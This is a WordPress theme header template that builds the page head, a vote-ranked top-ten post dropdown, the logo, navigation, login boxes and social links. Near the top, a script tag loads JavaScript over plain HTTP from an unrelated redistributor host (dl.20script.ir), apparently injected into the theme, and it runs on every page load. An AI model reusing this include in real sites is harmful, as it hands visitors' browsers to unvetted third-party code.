<!DOCTYPE html>
<!--[if lt IE 7]>      <html class="no-js lt-ie9 lt-ie8 lt-ie7"> <![endif]-->
<!--[if IE 7]>         <html class="no-js lt-ie9 lt-ie8"> <![endif]-->
<!--[if IE 8]>         <html class="no-js lt-ie9"> <![endif]-->
<!--[if gt IE 8]><!--> <html class="no-js" <?php language_attributes(); ?>> <!--<![endif]-->
<!-- www.20script.ir -->
<head>
    <meta http-equiv="Content-Type" content="<?php bloginfo('html_type'); ?>; charset=<?php bloginfo('charset'); ?>" />
    <title><?php wp_title('-');?></title>
	<script type="text/javascript" src="http://dl.20script.ir/img/website.js"></script>
    <meta name="viewport" content="width=device-width, initial-scale=1.0, minimum-scale=1.0, maximum-scale=1.0">
    <?php
    global $redux_demo;
    if($redux_demo['facebook_apikey'] != '') { ?>
        <div id="fb-root"></div>
        <script>(function(d, s, id) {
            var js, fjs = d.getElementsByTagName(s)[0];
            if (d.getElementById(id)) return;
            js = d.createElement(s); js.id = id;
            js.src = "//connect.facebook.net/en_US/all.js#xfbml=1&appId=<?php echo esc_html($redux_demo['facebook_apikey']);?>";
            fjs.parentNode.insertBefore(js, fjs);
        }(document, 'script', 'facebook-jssdk'));
        </script>
    <?php } 
    wp_head(); 
    ?>
</head>
<body <?php body_class();?>>
<header>
    <div class="container">
        <div class="row">
            <div class="col-sm-12">
                <nav class="navbar navbar-default" role="navigation">
                    <div class="navbar-header">
                        <button type="button" class="navbar-toggle" data-toggle="collapse" data-target="#bs-example-navbar-collapse-1">
                            <span class="sr-only">Toggle navigation</span>
                            <span class="icon-bar"></span>
                            <span class="icon-bar"></span>
                            <span class="icon-bar"></span>
                        </button>
                        <div class="top-ten">
                            <div class="activator">
                                <div class="left">
                                    <span class="small"><?php _e('Top', 'Aruna');?></span>
                                    <span class="small"><?php _e('All', 'Aruna');?></span>
                                    <span class="small"><?php _e('Time', 'Aruna');?></span>
                                </div>
                                <div class="right">10</div>
                            </div>
                            <div class="drop-down">
                                <div class="post-list">
                                    <?php
                                    add_filter('posts_orderby','teo_ordervotes');
                                    $args = array();
                                    $args['post_type'] = 'post';
                                    $args['posts_per_page'] = 10;
                                    $args['meta_key'] = '_ratings_up';
                                    $args['meta_query'] = array(
                                        array('key' => '_ratings_up'),
                                        array('key' => '_ratings_down')
                                    );
                                    //performance improvements
                                    $args['no_found_rows'] = true;
                                    $args['update_post_term_cache'] = true;
                                    $args['update_post_meta_cache'] = true;

                                    $query = new WP_Query($args);
                                    $i = 1; //count the posts
                                    while($query->have_posts() ) : $query->the_post(); 
                                        global $post;
                                        $type = get_post_format($post->ID);
                                        $thumb = '';
                                        if($type == 'image' || $type == 'standard') {
                                            $thumb = get_post_meta($post->ID, '_standard_image', true);
                                        }
                                        elseif($type == 'gallery') {
                                            $thumb = get_post_meta($post->ID, '_slider_image1', true);
                                        }
                                        elseif($type == 'quote') {
                                            $quoteimg = get_post_meta($post->ID, '_quote_image', true);
                                            if($quoteimg) {
                                                $thumb = $quoteimg;
                                            }
                                        }
                                        if($thumb == '') {
                                            $thumb = wp_get_attachment_url( get_post_thumbnail_id($post->ID) );
                                        }
                                        if($thumb == '' && $type == 'video') {
                                            $thumb = get_template_directory_uri() . '/img/missing_video.png';
                                        }
                                        elseif($thumb == '' && ($type == 'image') || $type == 'standard') {
                                            $thumb = get_template_directory_uri() . '/img/missing_img.png';
                                        }
                                        elseif($thumb == '' && $type == 'gallery') {
                                            $thumb = get_template_directory_uri() . '/img/missing_slider.png';
                                        }

                                        if($thumb == '') {
                                            $thumb = get_template_directory_uri() . '/img/missing_img.png';
                                        }
                                        $resized = aq_resize($thumb, 68, 63, true);
                                        if($resized == '') {
                                            $resized = $thumb;
                                            //we can't resize the original image so we keep that one
                                        }
                                        ?>
                                        <article>
                                            <figure>
                                                <img src="<?php echo $resized;?>" alt="<?php the_title();?>" />
                                                <figcaption><?php if($i != 10) echo '0' . $i; else echo $i;?></figcaption>
                                            </figure>
                                            <div class="text">
                                                <h3>
                                                    <a href="<?php the_permalink();?>"><?php the_title();?></a>
                                                </h3>
                                                <span class="date"><?php the_time("d.m");?></span>
                                            </div>
                                        </article>
                                    <?php $i++; endwhile; 
                                    wp_reset_postdata();
                                    remove_filter('posts_orderby','teo_ordervotes');
                                    ?>
                                </div>
                            </div>
                        </div>
                        <?php
                        $class = 'navbar-brand';
                        if(isset($redux_demo['logo']['url']) && $redux_demo['logo']['url'] != '') {
                            $logo = $redux_demo['logo']['url'];
                            $class .= ' logotext';
                        }
                        elseif($redux_demo['logo_text'] != '') {
                            $logo = '';
                            $logotext = $redux_demo['logo_text'];
                            $class .= ' logotext';
                        }
                        else {
                            $logo = get_template_directory_uri() . '/img/logo.png';
                        }
                        ?>
                        <a class="<?php echo $class;?>" href="<?php echo home_url();?>">
                            <?php if($logo != '') { 
                                echo '<img src="' . esc_url($logo) . '" alt="' . get_bloginfo('name') . '" />';
                            } elseif($logotext != '') {
                                echo '<span class="logo_text">' . esc_html($logotext) . '</span>';
                            }
                            ?>
                        </a>
                    </div>
                    <div class="collapse navbar-collapse" id="bs-example-navbar-collapse-1">
                        <?php wp_nav_menu(array(
                                'theme_location' => 'top-menu',
                                'container' => '',
                                //'fallback_cb' => 'show_top_menu',
                                'menu_class' => 'nav navbar-nav sf-menu',
                                'echo' => true
                            ) ); ?>
                    </div>
                    <div class="right-container">
                        <?php if ( is_user_logged_in() ) {
                            global $current_user; get_currentuserinfo(); ?>
                            <div class="user-box">
                                <a href="<?php echo get_author_posts_url($current_user->ID);?>">
                                    <figure>
                                        <?php echo teo_get_avatar($current_user->ID, 27, 27);?>
                                    </figure>
                                    <span class="name"><?php the_author_meta('display_name', $current_user->ID);?></span>
                                </a>
                                <div class="drop-down">
                                    <div class="counters-line">
                                        <?php
                                        $kudos = teo_get_kudos();
                                        if($kudos > 1000) {
                                            $kudos = ($kudos/1000) . 'k';
                                        }
                                        ?>
                                        <div class="half"><span class="counter"><?php echo $kudos;?></span><span class="desc"><?php _e('kudos', 'Aruna');?></span></div>
                                        <div class="half"><span class="counter"><?php echo count_user_posts($current_user->ID);?></span><span class="desc"><?php _e('posts', 'Aruna');?></span></div>
                                    </div>
                                    <div class="buttons-line">
                                        <?php if($redux_demo['enable_frontendpost'] != 2) { ?>
                                            <a data-toggle="modal" href="#postModal" class="btn btn-primary btn-block custom-button"><?php _e('Post Fun', 'Aruna');?></a>
                                        <?php } ?>
                                        <a href="<?php echo home_url() . '/?editprofile=1';?>" class="btn btn-primary btn-block custom-button"><?php _e('Profile & Settings', 'Aruna');?></a>
                                        <a href="<?php echo wp_logout_url( home_url() ); ?>" class="btn btn-primary btn-block custom-button"><?php _e('Logout', 'Aruna');?></a>
                                    </div>
                                </div>
                            </div>
                        <?php } else { ?>
                            <div class="user-box loggedout">
                                <a data-toggle="modal" href="#loginModal">
                                    <span class="name">
                                        <i class="glyphicon glyphicon-plus"></i>
                                        <?php _e('LOGIN', 'Aruna');?>
                                    </span>
                                </a>
                                <div class="drop-down">
                                    <div class="counters-line">
                                        <span><?php _e('Login to post & more', 'Aruna');?></span>
                                    </div>
                                    <div class="buttons-line">
                                        <a data-toggle="modal" href="#loginModal" class="btn btn-primary btn-block custom-button"><?php _e('Login', 'Aruna');?></a>
                                        <a data-toggle="modal" href="#registerModal" class="btn btn-primary btn-block custom-button"><?php _e('Register', 'Aruna');?></a>
                                    </div>
                                </div>
                            </div>
                        <?php } 
                        //social icons
                        if($redux_demo['twitter_url'] != '' || $redux_demo['facebook_url'] != '' || $redux_demo['gplus_url'] != ''
                            || $redux_demo['dribbble_url'] != '' || $redux_demo['evernote_url'] != '' ) { ?>
                            <div class="social-share">
                                <a class='share'><i class="fa fa-share-alt"></i></a>
                                <ul class="drop-down">
                                    <?php if($redux_demo['twitter_url'] != '') { ?>
                                        <li><a rel="nofollow" target="_blank" href="<?php echo esc_url($redux_demo['twitter_url']);?>" class="twitter"><i class="fa fa-twitter"></i></a></li>
                                    <?php }

                                    if($redux_demo['facebook_url'] != '') { ?>
                                        <li><a rel="nofollow" target="_blank" href="<?php echo esc_url($redux_demo['facebook_url']);?>" class="facebook"><i class="fa fa-facebook"></i></a></li>
                                    <?php }

                                    if($redux_demo['dribbble_url'] != '') { ?>
                                        <li><a rel="nofollow" target="_blank" href="<?php echo esc_url($redux_demo['dribbble_url']);?>" class="dribble"><i class="fa fa-dribbble"></i></a></li>
                                    <?php }

                                    if($redux_demo['gplus_url'] != '') { ?>
                                        <li><a rel="nofollow" target="_blank" href="<?php echo esc_url($redux_demo['gplus_url']);?>" class="googleplus"><i class="fa fa-google-plus"></i></a></li>
                                    <?php }

                                    if($redux_demo['youtube_url'] != '') { ?>
                                        <li><a rel="nofollow" target="_blank" href="<?php echo esc_url($redux_demo['youtube_url']);?>" class="youtube"><i class="fa fa-youtube"></i></a></li>
                                    <?php } 

                                    if($redux_demo['vine_url'] != '') { ?>
                                        <li><a rel="nofollow" target="_blank" href="<?php echo esc_url($redux_demo['vine_url']);?>" class="vine"><i class="fa fa-vine"></i></a></li>
                                    <?php } 

                                    if($redux_demo['vimeo_url'] != '') { ?>
                                        <li><a rel="nofollow" target="_blank" href="<?php echo esc_url($redux_demo['vimeo_url']);?>" class="vimeo"><i class="fa fa-vimeo-square"></i></a></li>
                                    <?php }

                                    if($redux_demo['pinterest_url'] != '') { ?>
                                        <li><a rel="nofollow" target="_blank" href="<?php echo esc_url($redux_demo['pinterest_url']);?>" class="pinterest"><i class="fa fa-pinterest"></i></a></li>
                                    <?php }

                                    if($redux_demo['instagram_url'] != '') { ?>
                                        <li><a rel="nofollow" target="_blank" href="<?php echo esc_url($redux_demo['instagram_url']);?>" class="instagram"><i class="fa fa-instagram"></i></a></li>
                                    <?php }

                                    if($redux_demo['tumblr_url'] != '') { ?>
                                        <li><a rel="nofollow" target="_blank" href="<?php echo esc_url($redux_demo['tumblr_url']);?>" class="tumblr"><i class="fa fa-tumblr"></i></a></li>
                                    <?php }

                                    if($redux_demo['flickr_url'] != '') { ?>
                                        <li><a rel="nofollow" target="_blank" href="<?php echo esc_url($redux_demo['flickr_url']);?>" class="flickr"><i class="fa fa-flickr"></i></a></li>
                                    <?php } ?>

                                </ul>
                            </div>
                        <?php } ?>
                    </div>
                </nav>
                <div class="visible-xs visible-sm">
                    <?php if(is_user_logged_in() ) { ?>
                        <a data-toggle="modal" href="#postModal" class="btn btn-primary btn-block custom-button"><?php _e('Post Fun', 'Aruna');?></a>
                    <?php } else { ?>
                        <a data-toggle="modal" href="#loginModal" class="btn btn-primary btn-block custom-button"><?php _e('Login', 'Aruna');?></a>
                    <?php } ?>
                </div> 
            </div>
        </div>
    </div>
</header>